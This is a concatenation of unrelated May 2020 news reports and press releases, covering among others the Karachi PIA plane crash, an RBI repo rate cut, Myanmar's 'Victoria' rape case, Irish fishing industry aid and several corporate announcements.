'In the end I thought if he wants a surprise, he can have a surprise with my face on it. It was banter. He's got a good sense of humour so I knew something funny [would go down well] but that's not what I was expecting.

'When it arrived, I thought, 'what the hell is that'. I thought, 'I can't give this to him, what am I going to do?'.

'I didn't really know what to think. In the end he said he wanted a pair of trainers so I got him that.'

Although she is still yet to give Harry his birthday present, Amy claims it might start a new tradition for them of buying each other gifts with their faces on.

Amy said: 'Boys are just so hard to buy for. You can get girls perfume and jewellery and things like that, but it's so hard with boys.

Amy revealed she's waiting to tell her boyfriend the story behind his gift, as some people have compared the cushion to an egg. Pictured: Amy with the face cushion

'We're still getting to know each other. He doesn't know about the cushion yet.

'I'm waiting until the other cushion comes and then I'll give him that pillow and will tell him the story behind it and everything.

'I'll show him the pictures of it. He'll want to see the original, but I can't give him it because he'll wind me up for the rest of my life.

'I put the cushion in the group chat. They thought it was so funny. Everyone was trying to get me to give it to him, but I definitely can't do that.

'They thought it was really funny, a lot of people were laughing. They said it looked like a potato as well, or an egg.

'It will probably start a tradition in the future. I think he'll probably try and get me something with his face on it. Maybe for Christmas.

'It will just go on from there I reckon. I might just have a whole wardrobe of just his face.'
Pubs, clubs and restaurants will be allowed to seat up to 50 patrons from June 1, as part of the next step in relaxing the state's COVID-19 restrictions.

NSW Premier Gladys Berejiklian said the move was an "important, critical, big step", but it would only be done with strict social distancing measures in place.

NSW Premier Gladys Berejiklian and Deputy Premier John Barilaro at a media conference on Friday. Credit:Rhett Wyman

"This decision has been made with expert health advice and both businesses and patrons will be subject to strict rules and guidelines," Ms Berejiklian said.

She warned dining would look different compared to the pre-COVID-19 world, as she announced the new measures at the popular dining strip of Stanley Street in Darlinghurst on Friday.
Analysis One Year on, Still No Justice in Myanmars Victoria Toddler Rape Case

Campaigners take part in the Justice for Victoria rally in Yangon in July 2019. / Aung Kyaw Htet / The Irrawaddy

YANGON It has been one year since the high-profile rape of a toddler in Naypyitaw upset and angered the entire country, yet there is still no sign of justice being done for the young victim.

On May 16, 2019, the girl, who was not yet 3 years old at the timeand who has since been dubbed Victoria by supporters on social mediawas sexually assaulted at her nursery school, Wisdom Hill. News of the crime left Myanmar society reeling, prompting thousands to take to the streets of big cities to demand the truth.

Even the Presidents Office weighed in, saying leaders at the highest level had been closely monitoring the case since it was first reported, and vowing to ensure that the truth is uncovered.

But as the case turned one year old on Saturday with the rapist still free, many netizens asked whether the truth was being actively suppressed in the case, and lamented the absence of the rule of law in the country.

We opened the case to get the truth, the victims father told The Irrawaddy on Wednesday. But the truth has eluded us, he said.

An arrest was made shortly after the crime was reported, and a Naypyitaw court heard the case for nearly five months, before freeing the suspectwidely believed to have been framedin December, citing lack of evidence. The accused was a driver of the Wisdom Hill school supervisor. Most members of the public appear to believe the two teenage sons of the supervisor to be the real perpetrators, based on the accounts of the victim and her parents, and see the accused driver as a scapegoat.

However, police stood by their conclusion that the driver was the only possible offender in the case and said there was no possibility that the two teenage brothers were the offenders. The brothers, whose father is a police lieutenant, were not among the witnesses heard by the court.

Legal adviser U Khin Maung Myint, who has been closely monitoring the case, said the truth has failed to come out because officials responsible for the investigation had failed to fulfill their duties.

The police have been widely criticized for mishandling the case, in particular for making false accusations, mishandling evidence and revealing the identities of the victim and her parents in violation of the Child Rights Law.

U Khin Maung Myint said that while there had been failures by the Attorney-Generals Office, the Advocate-Generals Office and the policeboth in their investigation of the case and in failing to reinvestigate the case after the court process endedthe Presidents Office also had a duty to closely follow up on the case, as it made pledges to the public several times that the truth would be established.

When The Irrawaddy asked what the Presidents Office was doing about the case during a press briefing in late February, the offices spokesperson U Zaw Htay said President U Win Myint had ordered the Supreme Court of the Union, the Home Affairs Ministry and the Union Attorney-Generals Office to find the truth in the case, to ensure accountability and responsibility, to comply with the law and to disclose the findings of the investigation.

The spokesperson said President U Win Myint had also instructed relevant organizations to take all necessary action against those who failed to comply with the law and procedures, and who failed to fulfill their duties in investigating the case. The police officers who revealed the identities of Victoria and her parents were among the responsible officials who would be punished, he said.

Yet to date, there has been no more word on punishments for the responsible officials.

The Irrawaddy contacted the Presidents Office to ask about whether any officials had been punished, but had yet to receive a reply as of Thursday evening.

Even after the presidents instructions to ensure responsibility and accountability in this high-profile case, no further information has been released to the public. It is yet another example of the lack of accountability, legal adviser U Khin Maung Myint said, adding that it was important for those seeking justice to show unity as they push for the truth in the case.

Writer U Htin Lin Oo, a prominent figure in the public campaign calling for the truth in the Victoria case, said he would continue to demand justice until it is served.

Along with the Independent Lawyers Association of Myanmar (ILAM), the writer plans to sue the police officers involved in revealing the identities of the toddler and her relatives. However, this effort has been delayed due to travel restrictions and stay-home orders imposed by the government in the wake of the countrys first COVID-19 case in late March, he said.

Lawyer U Thein Than Oo from ILAM said the group would press ahead with the lawsuit against the police officials once the travel restrictions are lifted.

We cant accept that the case will just end like this. We are not in positions of authority, but as legal professionals we will do whatever we can to fight this injustice, he said.

The victims father told The Irrawaddy that the familys original plans, worked out with their lawyers, have also been put on hold due to the COVID-19 crisis. He vowed to continue the fight, however.

Truth is our life, he said. And that is what we will continue to pursue.

You may also like these stories:

In Myanmar, Concerns That Chinas Help on COVID-19 Comes With Strings Attached

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The Nagpur bench of Bombay High



Court on Friday refused to release on parole former Delhi University professor G N Saibaba serving a life sentence for having Maoist links.

A division bench of Justices Ravi Deshpande and Amit Borkar, while dismissing Saibaba's petition seeking parole, took note of the report submitted by the concerned authorities which said the area in which he shall be residing after his release on parole has been declared a containment zone in view of the COVID-19 pandemic.

Saibaba had approached HC seeking parole after the appellate authority rejected his plea on February 24.

He sought to be released to visit his mother who is suffering from cancer in Hyderabad.

"The report shows that the mother of the petitioner is normally a patient of the OPD (out patient department) and the brother of the petitioner is taking care of their mother. We have also been informed the area where the petitioner shall be staying if released on parole is in a containment zone," the court said.

"Hence, we do not find the petitioner is entitled to release on parole," it added.

In March 2017, a Gadchiroli sessions court sentenced Saibaba and four others, including a journalist and a JNU student, for Maoist links and for indulging in activities amounting to waging war against the country under provisions of the stringent Unlawful Activities Prevention Act (UAPA).

Following the conviction, Saibabawas lodged in the Nagpur prison.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Irelands 1.2 billion fishing industry is on the brink of collapse, according to industry representatives who say it has been decimated by the collapse in domestic and EU markets since the start of the Covid-19 crisis.

But they also say the governments lack of appropriate help could prove to be the final nail in the coffin.

The representatives point to the fact that Agriculture Minister Michael Creed recently announced more money for harbour repairs than for packages to help fishermen and women.

They also say a scheme he announced last week to help pay the costs of boats that can't fish because of the crisis is not fit for purpose.

They were speaking in response to the Temporary Voluntary Fleet Tie-up Scheme Minister Creed announced on May 8.

It allows for monthly payments proportionate to eight different sized boats up to 24 metres to cover fixed costs incurred while tied-up.

A tie-up scheme is being operated by countries all over the EU and in the UK.

But while other governments are paying out up to around 11,000-a-week, owners of fishing boats here will only get up to 6,000-a-month when the scheme starts next month.

Minister Creed has been repeatedly told what the fishing industry needs to survive, said Patrick Murphy of the Irish South & West Fish Producers Organisation.

We need a retrospective scheme that helps fishermen out for what they lost out on at the start of the crisis.

And we need a shorter tie-up period so that fishermen can still fish.

He said the minister and his officials have rejected impassioned appeals for specific Covid-19 support from a fishing industry which is fighting for its very survival in the face of the pandemic.

In doing so, he said, they have turned their back on the sector which is on the brink of collapse.

Hugo Boyle, CEO of the Irish South and East Fish Producers Organisation, said: When you add up the costs the scheme is supposed to cover, the amounts offered are way short of what is needed.

Monthly costs for insurance, radio communications and other rentals, harbour fees, monthly leasing agreements and daily maintenance of an 18 metre boat could be as high as 4,000-a-month.

Under Mr Creeds scheme, a boat owner would only get 2,000.

And while the tie-up schemes are on a weekly basis abroad, here boat owners have to commit to tie boats up for at least a month.

Shortly after announcing the tie-up scheme, Mr Creed announced a total of 3.1 million in funding for 58 development and repair projects on harbours and slipways owned by local councils.

The total value of his tie-up scheme is estimated to be around 1.6 million.

A department spokesperson said: It is up to the fishing vessel owner to decide whether to tie-up or keep fishing and in line with the Government policy of keeping the food chain operating.

It is, of course, preferable that the supply to fish continues to satisfy available markets.

In general, vessel owners want their vessels to be at sea and fishing.

The scheme was capped at a maximum of 66% of each vessel size category in the fleet to ensure a continued level of fishing activity.

It would be a positive sign if the take-up of this supplementary scheme is low and that the safety net provided through the scheme is used only by the minimum number of vessels that make a decision that it is not in their economic interest to put to sea.
An Airbus SE jet operated by Pakistan International Airlines crashed with 107 people on board as it approached its destination of Karachi.

Flight PK 8303, which took off from Lahore, was carrying 99 passengers and 8 crew, Pakistans Civil Aviation Authority said. The countrys army tweeted that troops had reached the site to conduct relief-and-rescue efforts. The A320 narrow-body jet built in 2004, data from Flightradar24 showed.

Its the second plane crash for the Pakistani carrier in less than four years. The airlines chairman resigned in late 2016, less than a week after the crash of an ATR 42 turboprop killed 47 people. Fridays crash happened on the first day of the Muslim festival of Eid al-Fitr, when many Pakistanis return home to celebrate.

Also read: 3 amateur videos capture moments after Pak plane crashes near Karachi

Pakistani Prime Minister Imran Khan tweeted hes in touch with the airlines chief executive officer and that an investigation would be conducted soon.

A CAA representative couldnt immediately confirm the number of casualties and said the authority is waiting for more information. An Airbus representative said the company is in touch with the airline to gather more information and declined to comment further.

Like other carriers worldwide, PIA struggled with plane groundings in the wake of the Covid-19 pandemic. The company, which hasnt made a profit since 2004, asked the government for financial support in March.

But signs of a recovery were in sight as the country began emerging from a two-month lockdown. Pakistan recently began resuming domestic flights last week, starting with 20% of capacity.
Greenberg Traurig Real Estate Practice attorneys served as contributing authors for several Chambers and Partners Regional Guides, including USA, Massachusetts, and New Jersey. The guides provide legal commentary on key issues in significant jurisdictions for businesses involved in the real estate sector.

Greenberg Traurig authors for the guides include:

Real estate shareholders Robert J. Ivanhoe, Milos Markovic, Susan E.D. Neuberg, Samantha Ahuja, and Corey E. Light, co-authored the USA Regional Real Estate 2020 introduction section of the guide.

Boston office real estate shareholders Edward S. Hershfield, Christopher H. Milton, James R. Shea, Jr., and of counsel Dina E. Conlin co-authored the Massachusetts Law and Practice section of the guide.

New Jersey office real estate shareholders Steven Fleissig, David Freylikhman, David C. Jensen, and Cory Mitchell Gray co-authored the New Jersey Law and Practice section of the guide.

The UK-based publisher Chambers and Partners selects attorneys and practice areas for inclusion in The Chambers USA 2020 Guide, based on thousands of interviews with practicing lawyers and clients around the world. More than 50 Greenberg Traurig real estate attorneys were recognized in the 2020 USA Guide.

About Greenberg Traurig's Real Estate Practice: The Greenberg Traurig Real Estate Practice is a cornerstone of the firm and recognized leader in the industry. The firms real estate attorneys deliver diversified and comprehensive counsel for property acquisition and investment, development, management and leasing, financing, restructuring, and disposition of all asset classes of real estate. The team draws upon the knowledge and experience of more than 400 real estate lawyers from around the world, serving clients from key markets in the United States, Europe, the Middle East, Latin America, and Asia. The groups clientele includes a broad range of property developers, lenders, investment managers, private equity funds, REITs, and private owners. The firms real estate team advises clients on a variety of matters across a broad spectrum of commercial, recreational, and residential real estate, including structured equity and debt and the hybrids.

About Greenberg Traurig, LLP: Greenberg Traurig, LLP (GT) has approximately 2200 attorneys in 41 locations in the United States, Latin America, Europe, Asia, and the Middle East. GT has been recognized for its philanthropic giving, diversity, and innovation, and is consistently among the largest firms in the U.S. on the Law360 400 and among the Top 20 on the Am Law Global 100. Web: http://www.gtlaw.com Twitter: @GT_Law.
Many governments worldwide  including Canada  have acted to enhance both freedom from fear and freedom from want threatened by the COVID-19 virus.

Lessons learned from the pandemic should spur a refreshed foreign and defence policy direction for Canada. The COVID-19 pandemic has underscored the critical link between international security and foreign policy  and a compelling opportunity to connect between the domestic capabilities we invest in to support Canada and Canadians and those which we need to support our close partners and recipients of our development and security assistance.

Whether it is enhanced early warning health intelligence capacity, secure medical supply lines, enhanced joint infection control, or poverty abatement, Canadas foreign policy needs promote more clarity and action.

A refreshed post-pandemic foreign policy should reconcile nationalist sovereignty aspirations of more countries with a more effective multilateral framework for security, common engagement and progress on global issues of health and climate risk management. Moderating the velocity of globalization must not mean diluting international co-operation.

This requires Canada to clarify its national interests in terms of our relationships, assistance to others, global presence and required capacities. Considerations may include staffing Canadian government offices abroad with health attaches and including health intelligence as part of a broadening global mission for Canadian intelligence and surveillance services. Defining our interests should be achieved through an all-talents multi-partisan process, involving civilian, uniformed and parliamentary bodies; the outcome of which should be able to broadly survive electoral change.

Canada has never been a fan of long-winded foreign policy documents, something which this exercise need not require. But updating Chrystia Freelands compelling 2017 address to Parliament  the most quoted source of Canadas foreign policy now overtaken by events  is required.

Vital manoeuvrability and agility can be preserved around key pillars of foreign policy  pillars that are directly linked to the national interests that Canada projects, pursues, defends and promotes  at home and abroad. Clarity in direction does not exclude flexibility in execution.

Clarity about these intentions can support predictability which, in foreign relations, becomes critical for the trust-based international political culture from which Canada and other middle powers benefit.

An opportunity exists for Canada to exert constructive influence in a way that not only supports security and prosperity, but also demonstrates there is no contradiction between a unique and creative foreign policy and the preservation of a close defence alliance with the United States and Europe. From Cuba to China to Central America and the Middle East and Africa, Canada has in the past pursued a course different from, but not antagonistic to, the United States and the United Kingdom.

Critical elements of a refreshed foreign policy would include an effective and pragmatic realism approach to intermittently rogue states, such as Russia, China and Iran. Bilateral issues with China and its holding of two Canadian hostages, Russia and its arctic intentions, Iran and still pending compensation to the families of the Ukrainian civilian airliner it shot from the sky, all remain serious issues.

An enhanced risk management approach to the U.S.  whatever the outcome of Novembers U.S. elections  is also required. Canada must ensure that its levels of interdependence with the U.S. do not risk our own independence and national interest.

Our experience with PPE, food production, some manufacturing capability, intellectual property and predatory American social media empires has already increased our vulnerability in areas critical to the countrys security and economic prosperity. Our defence relations with the U.S. are strong, and enhanced investment in strong U.S.-Canada bilateral defence relations is necessary, especially in NORAD, which builds on existing strength and is permissive space in which to do more.

Post-Brexit Europe has opened an opportunity to deepen our relationship with both the U.K. and Europe. Stronger alliances with countries like India, South Korea, Ukraine and democratic members of the Commonwealth and Francophonie are opportunities, as is substantial engagement, now lacking, with the security and well being of our Caribbean neighbours.

COVID-19 has demonstrated that international systemic weaknesses matter, and that poverty at home or abroad constitutes a risk to Canadians. Deterring threats abroad before they reach Canadian soil requires a commitment to international development, particularly in Africa and the Caribbean. Failing to help define the new normal could render us victims of it.

More deployable capability at home and abroad on security, health-intelligence and humanitarian challenges has never mattered more. The time to begin that update and refocus has arrived.
Shares of SelectQuote Inc. jumped more than 40% in their stock market debut on Thursday, giving the insurance policy comparison website a market valuation of over $4 billion.

The companys stellar offering is the latest sign of thawing in the initial public offering (IPO) market, which was shut to most companies when the coronavirus outbreak fueled weeks of stock market volatility in March and April.

In an interview with Reuters, SelectQuote Chief Executive Officer Timothy Danker said he was bullish on demand for the companys core product in the backdrop of the COVID-19 pandemic that has forced more people to buy insurance online.

Consumers dont want folks in their house selling insurance, theyd rather do research online and connect telephonically and we view that as a trend moving forward, Danker said.

SelectQuote allows customers to compare policies for life, auto and home insurance from providers including American International Group, Prudential Financial Inc and Liberty Mutual.

Its public offering comes at a time when only a handful of biotechnology and blank-check companies went ahead with IPOs during this period.

These days, investors are more interested in boring CEOs and predictable profits. said Erik Gordon, a professor at the University of Michigans Ross School of Business.

Buyers remain wary, but SelectQuote is a rare IPO from a company that already is profitable instead of burning hundreds of millions hoping to someday turn a profit in an industry in which nobody has made a profit. he added.

SelectQuotes revenue jumped nearly 50% to $390.1 million for the nine months ended March 2020, while net income was up 2.4% to $61.1 million.

The company on Wednesday raised $360 million after it sold 18 million shares as planned, and existing shareholders sold 10.5 million shares.

The shares were priced at $20 each, above the marketed range of $17 to $19.

(Reporting by Abhishek Manikandan in Bengaluru; Editing by Sriraj Kalluvila, Anirban Sen and Anil DSilva)

Topics Funding
Shortly before 1 a.m., two people were inside of a parked vehicle in the 100 block of North Lorel Avenue where they were found with gunshot wounds. One of them had suffered a wound to the neck, and was pronounced on the scene. He has not been identified.
A New Day: a powerful tome that follows the circumstances of people in a fallen world who find themselves in a war between the faithful Judeo-Christians and a society bent on eradicating their beliefs, all while dealing with the anticipation of Christs rebirth. A New Day is the creation of published author Michael Difeo, the retired owner of Mr. Mikes Restaurant and a graduate of Palm Beach College with a degree in business management and computer science with a background in photo typesetting research and development.

Difeo shares, What ifin the ashes of a dead culture, a new world is born?

After the world is destroyed and all memory of the past is lost, a time capsule is unearthed. In it is something called the New World Testament and the Torah, two writings that threaten to shake humankind down to its very core.

It was a tough time for the human race. Reduced to small groups vying for recognition in a harsh environment, people struggled to survive after rediscovering religion. One society, the Union, will do anything to stop the religious neophytes whose most cherished belief is that Christ will be born in their time.

Ardent, a Union vanguard trooper and a warrior, had orders to hunt down the Judeo-Christians at whatever cost in lives. He has second thoughts when he meets Bandy, the love of his life, a Judeo-Christian. About the same time, a child is born, a baby boy named Jesusthe second coming of Christ.

What if God is about second chances? What if this is the worlds second chance? What if Christ isnt crucified this time? What if he is? This novel is a thought-provoking journey into the world of what if

A New Day is Difeos fourth novel. Its more than a fable or a fantasy; it is an epic imagining of a post-Apocalyptic world.

Published by Christian Faith Publishing, Michael Difeos new book is an electrifying masterpiece that juxtaposes the longstanding conflict between the world and faith that puts believers convictions to the test and converts people toward a divine epiphany that challenges societal norms.

This book presents eye-popping insights that perfectly portray a world fraught with what-ifs and trepidations in keeping up with the faith amid the pressures of mundaneness.

View the synopsis of A New Day on YouTube.

Consumers can purchaseA New Day at traditional brick-and-mortar bookstores or online at Amazon.com, Apple iTunes store, or Barnes and Noble.

For additional information or inquiries about A New Day, contact the Christian Faith Publishing media department at 866-554-0919.


KARACHI, Pakistan (AP)  A passenger plane belonging to state-run Pakistan International Airlines crashed near the southern port city of Karachi on Friday, killing all 107 passengers and crew, the city's mayor said.

The aircraft crashed into a crowded neighborhood on the edge of the airport. Mayor Wasim Akhtar said at least five or six houses were destroyed in the crash. It wasn't immediately known how many casualties were from among the residential area.

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The aircraft arriving from the eastern city of Lahore was carrying 99 passengers and eight crew members, said Abdul Sattar Kokhar, spokesman for the country's civil aviation authority.

The civil aviation authority said the pilot called in a mayday saying that he had lost an engine. He was attempting to land when the plane crashed.

Witnesses said the Airbus A320 appeared to attempt to land two or three times before crashing in a residential area near Jinnah International Airport. The residential area on the edge of the airport known as Model Colony is a poor area and heavily congested.

A resident of the area, Abdul Rahman, said he saw the aircraft circle at least three times, appearing to try to land before it crashed into several houses.

Police and military cordoned off the area.

Pakistan's Prime Minister Imran Khan tweeted: Shocked & saddened by the PIA crash. . . Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased."

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Local television reports showed smoke coming from the direction of the airport and video emerging of the aircraft flying low over a residential area seemed showed apparent flames shooting from one of the engines. Ambulances were on their way to the airport and there were reports of some injuries among residents on the ground.

Airbus did not immediately respond to a request for comment on the crash. The flight typically takes an hour and a half from the northeastern city of Lahore, the capital of Pakistan's most populous province, Punjab, to Karachi.

Airworthiness documents showed the plane last received a government check on Nov. 1, 2019. PIAs chief engineer signed a separate certificate April 28 saying all maintenance had been conducted on the plane and that the aircraft is fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 involved in the crash showed China Eastern Airlines flew the plane from 2004 until 2014. The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

_____

Associated Press writers Jon Gambrell in Dubai, United Arab Emirates; Kathy Gannon and Munir Ahmed in Islamabad, and Asim Tanveer in Multan, Pakistan contributed to this report
The Reserve Bank of India on Friday reduced repo rate by 40 basis points to 4 per cent in an effort to further boost liquidity in the economy which has been reeling under the impact of COVID-19 induced countrywide lockdown.

As a result, the reverse repo rate stands at 3.35 per cent, said RBI Governor Shaktikanta Das. The six-member monetary policy committee (MPC) voted 5:1 in favour of the decision.

RBI also predicted that GDP will be in negative for

Here's full text of RBI chief Shaktikanta Das' policy announcements today:

On the basis of an assessment of the current and evolving macroeconomic situation, the Monetary Policy Committee (MPC) at its meeting today (May 22, 2020) decided to:

 reduce the policy repo rate under the liquidity adjustment facility (LAF) by 40 bps to 4.0 per cent from 4.40 per cent with immediate effect;

 accordingly, the marginal standing facility (MSF) rate and the Bank Rate stand reduced to 4.25 per cent from 4.65 per cent; and

 the reverse repo rate under the LAF stands reduced to 3.35 per cent from 3.75 per cent.

 The MPC also decided to continue with the accommodative stance as long as it is necessary to revive growth and mitigate the impact of COVID-19 on the economy, while ensuring that inflation remains within the target.

These decisions are in consonance with the objective of achieving the medium-term target for consumer price index (CPI) inflation of 4 per cent within a band of +/- 2 per cent, while supporting growth. The main considerations underlying the decision are set out in the statement below:

Assessment

Global Economy

2. Since the MPC met in March 2020, global economic activity has remained in standstill under COVID-19 related lockdowns and social distancing. Among the key advanced economies (AEs), economic activity contracted in the US, Euro area, Japan and the UK in Q1:2020. Among emerging market economies (EMEs), the Chinese economy went into a pronounced decline and data on high frequency indicators suggest that activity may have also shrunk in other EMEs such as Brazil and South Africa.

3. Global financial markets calmed after a turbulent period in March, and volatility ebbed as swift and large fiscal and monetary policy responses helped to soothe sentiment. Equity markets recovered some lost ground, while government bond yields 2 remained range-bound, although somewhat elevated in some EMEs due to countryspecific factors. Portfolio flows to EMEs revived in April and the rush to safe havens eased. With the US dollar weakening, major EME currencies, which had experienced persistent downward pressure, traded with an appreciating bias. Crude oil prices firmed up modestly as oil producing countries (OPEC plus) agreed to cut production, and prospects for revival in demand improved on expectations of imminent easing of lockdowns. Gold prices remained elevated on hedging demand. CPI inflation remained subdued across major AEs and EMEs primarily due to a collapse in oil prices and compression in demand amidst lockdowns, while food inflation picked up due to supply disruptions.

Domestic Economy

4. Domestic economic activity has been impacted severely by the lockdown which has extended over the past two months. High frequency indicators point to a collapse in demand beginning March 2020 across both urban and rural segments. Electricity consumption has plunged, while both investment activity and private consumption suffered precipitous declines, as reflected in the collapse in capital goods production and the large retrenchment in the output of consumer durables and non-durables in March. High frequency indicators of service sector activity such as passenger and commercial vehicle sales, domestic air passenger traffic and foreign tourist arrivals also experienced sizable contractions in March. The only silver lining was provided by agriculture, with the summer sowing of rice, pulses and oilseeds in the country progressing well, with total area sown under the current kharif season up by 43.5 per cent so far, and the rabi harvest promising to be a bumper as reflected in record procurement.

5. Retail inflation, measured by the consumer price index, moderated for the second consecutive month in March 2020 to 5.8 per cent after peaking in January. This was mainly due to food inflation easing from double digits in December 2019  January 2020. In April, however, supply disruptions took a toll and reversed the softening of food inflation, which surged to 8.6 per cent from 7.8 per cent in March. Prices of vegetables, cereals, milk, pulses and edible oils and sugar emerged as pressure points.

6. The Reserve Bank remained in pro-active liquidity management mode, expanding its array of measures, both conventional and unconventional, to augment system-level liquidity as also to channel liquidity to specific sectors facing funding constraints. Systemic liquidity remained in abundance, with average daily net absorptions under the liquidity adjustment facility (LAF) increasing to 5.66 lakh crore in May 2020 (up to May 20) from 4.75 lakh crore in April. During 2020-21 (up to May 20), 1,20,474 crore was injected through open market operation (OMO) purchases and 87,891 crore through three targeted long-term repo operation (TLTRO) auctions and one TLTRO 2.0 auction. In order to distribute liquidity more evenly across the yield curve, the Reserve Bank conducted one operation twist auction involving the simultaneous sale and purchase of government securities for 10,000 crore each on April 27, 2020. Furthermore, the Reserve Bank has provided 22,334 crore as refinance to National Bank for Agriculture and Rural Development (NABARD), Small Industries Development Bank of India (SIDBI) and National Housing Bank (NHB) so far (as on May 21, 2020) and 2,430 crore to mutual funds through a special liquidity facility (SLF) with a view to easing liquidity constraints and de-stress financial markets. Since February 6, 2020 the Reserve Bank has announced liquidity augmenting measures of 9.42 lakh crore (4.6 per cent of GDP).

7. Reflecting the various liquidity management measures, domestic financial conditions have eased appreciably as reflected in the narrowing of liquidity premia in various market segments. Yields on government securities, commercial paper (CP), 91- day treasury bills, certificates of deposit (CDs) and corporate bonds have softened. The weighted average lending rates on fresh rupee loans of commercial banks declined by 43 bps in March 2020 alone. Though credit growth remains muted, scheduled commercial banks investments in commercial paper, bonds, debentures and shares of corporate bodies in this year so far (up to May 8) increased sharply by 66,757 crore as against a decline of 8,822 crore during the same period last year. There were net inflows into various schemes of mutual funds in April in contrast to large outflows in March.

8. In the external sector, Indias merchandise trade slumped in April 2020, with exports shrinking by 60.3 per cent and imports by 58.6 per cent (y-o-y), respectively. While imports contracted in all 30 commodity groups in April, exports contracted in 28 out of 30 groups. The trade deficit narrowed in April 2020  both sequentially and on a yearon-year basis  to its lowest level in 47 months. On the financing side, net foreign direct investment inflows picked up in March 2020 to US$ 2.9 billion from US$ 0.8 billion a year ago. In 2020-21 so far (till May 18), net foreign portfolio investment (FPI) in equities increased to US$ 1.2 billion from US$ 0.8 billion a year ago. In the debt segment, however, there were portfolio outflows of US$ 3.8 billion during the same period as compared with outflows of US$ 1.4 billion a year ago. By contrast, net investment under the voluntary retention route increased by US$ 0.7 billion during the same period. Indias foreign exchange reserves have increased by US$ 9.2 billion in 2020-21 so far (up to May 15) to US$ 487.0 billion  equivalent to 12 months of imports.

Outlook

9. The inflation outlook is highly uncertain. As supply lines get restored in the coming months with gradual relaxations in the lockdown, the unusual spike in food inflation in April is expected to moderate. The forecast of a normal monsoon also portends well for food inflation. Given the current global demand-supply balance, international crude oil prices are likely to remain low although they may firm up from the recent depressed levels. Soft global prices of metals and other industrial raw materials are likely to keep input costs low for domestic firms. Deficient demand may hold down pressures on core inflation (excluding food and fuel), although persisting supply dislocations impart uncertainty to the near term outlook. However, volatility in financial markets could have a 4 bearing on inflation. These factors, combined with favourable base effects, are expected to take effect and pull down headline inflation below target in Q3 and Q4 of 2020-21.

10. Turning to the growth outlook, economic activity other than agriculture is likely to remain depressed in Q1:2020-21 in view of the extended lockdown. Even though the lockdown may be lifted by end-May with some restrictions, economic activity even in Q2 may remain subdued due to social distancing measures and the temporary shortage of labour. Recovery in economic activity is expected to begin in Q3 and gain momentum in Q4 as supply lines are gradually restored to normalcy and demand gradually revives. For the year as a whole, there is still heightened uncertainty about the duration of the pandemic and how long social distancing measures are likely to remain in place and consequently, downside risks to domestic growth remain significant. On the other hand, upside impulses could be unleashed if the pandemic is contained, and social distancing measures are phased out faster.

11. The MPC is of the view that the macroeconomic impact of the pandemic is turning out to be more severe than initially anticipated, and various sectors of the economy are experiencing acute stress. The impact of the shock has been compounded by the interaction of supply disruptions and demand compression. Beyond the destruction of economic and financial activity, livelihood and health are severely affected. Even as various measures initiated by the Government and the Reserve Bank work to mitigate the adverse impact of the pandemic on the economy, it is necessary to ease financial conditions further. This will facilitate the flow of funds at affordable rates and revive animal spirits. With the inflation outlook remaining benign as lockdown-related supply disruptions are mended, the policy space to address growth concerns needs to be used now rather than later to support the economy, even while maintaining headroom to back up the revival of activity when it takes hold.

12. Accordingly, all members voted for a reduction in the policy repo rate and maintaining the accommodative stance as long as it is necessary to revive growth and mitigate the impact of COVID-19 on the economy, while ensuring that inflation remains within the target.

13. Dr. Pami Dua, Dr. Ravindra H. Dholakia, Dr. Janak Raj, Dr. Michael Debabrata Patra and Shri Shaktikanta Das voted for a reduction in the policy repo rate by 40 bps, while Dr. Chetan Ghate voted for a reduction by 25 bps.





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PROVIDENCE, R.I., May 22, 2020 /PRNewswire/ -- Twin River Worldwide Holdings, Inc. (NYSE: TRWH) (the "Company" or "Twin River") today announced the reopening of its Hard Rock Hotel and Casino Biloxi in Biloxi, MS ("Hard Rock Biloxi") effective Thursday May 21st. Hard Rock Biloxi is the Company's second largest casino operation, and represents approximately 20% of the Company's current portfolio.

Twin River has implemented property-specific comprehensive health and safety protocols, developed in close consultation with state regulators and public health officials in Mississippi. More details on these health and safety protocols can be found on the property specific website at www.hardrockbiloxi.com. These protocols are part of the Company's overall COVID-19 reopening plan, the components of which are designed to meet or exceed all guidelines established by the CDC.

"Our ability to reopen Hard Rock Biloxi is a testament to the hard work of our team during this pandemic and we were encouraged by the first day results which, even with reduced hours and significant safety protocols in place, generated slot revenue volumes approximately double those of the same day last year," said George Papanier, President and Chief Executive Officer. "While it is only one day of performance, we are excited and thankful to welcome back our valued team members and loyal customers to an environment that meets or exceeds CDC guidance. We appreciate the collaborative nature of our regulatory relationships in Mississippi, and we will continue to work closely with regulators and public health officials in other states to ensure the timely reopening of our other properties as soon as it is deemed safe to do so."

With respect to Twin River's six casinos in Rhode Island, Delaware and Colorado, the Company is actively preparing for the resumption of gaming operations. The Company is working closely with the respective state regulators and public health officials to finalize the comprehensive reopening plans for its other properties. Among other things, these plans include potential screening of team members and guests upon entrance of the properties; thermal imaging cameras; enforcement of social distancing guidelines; including spacing between VLTs and limited or no table games to start; frequent cleaning and sanitizing protocols for all areas; mask protection requirements; and public awareness signage. The Company will provide updated information on the reopening of these additional properties upon receiving all necessary approvals.

Mr. Papanier continued, "As we reopen our properties, we believe we will benefit from our status as a regional gaming company that is largely focused on local and regional visitation rather than air travel, destination or convention business. As such, we believe we are well-positioned to resume our growth trajectory and drive results upon resuming full operations."

About Twin River Worldwide Holdings, Inc.

Twin River Worldwide Holdings, Inc. owns and manages seven casinos, two in Rhode Island, one in Mississippi, one in Delaware, and three casinos as well as a horse racetrack that has 13 authorized OTB licenses in Colorado. Properties include Twin River Casino Hotel (Lincoln, RI), Tiverton Casino Hotel (Tiverton, RI), Hard Rock Hotel & Casino (Biloxi, MS), Dover Downs Hotel & Casino (Dover, DE), Golden Gates Casino (Black Hawk, CO), Golden Gulch Casino (Black Hawk, CO), Mardi Gras Casino (Black Hawk, CO), and Arapahoe Park racetrack (Aurora, CO). Its casinos range in size from 695 slots and 17 table games combined for its Colorado facilities to properties with over 4,100 slots, approximately 125 table games, and 48 stadium gaming positions, along with hotel and resort amenities. Its shares are traded on the New York Stock Exchange under the ticker symbol "TRWH."

Investor Contact

Media Contact Steve Capp

Liz Cohen Executive Vice President and Chief Financial Officer

Kekst CNC 401-475-8564

212-521-4845 [email protected]

[email protected]

Forward-Looking Statements

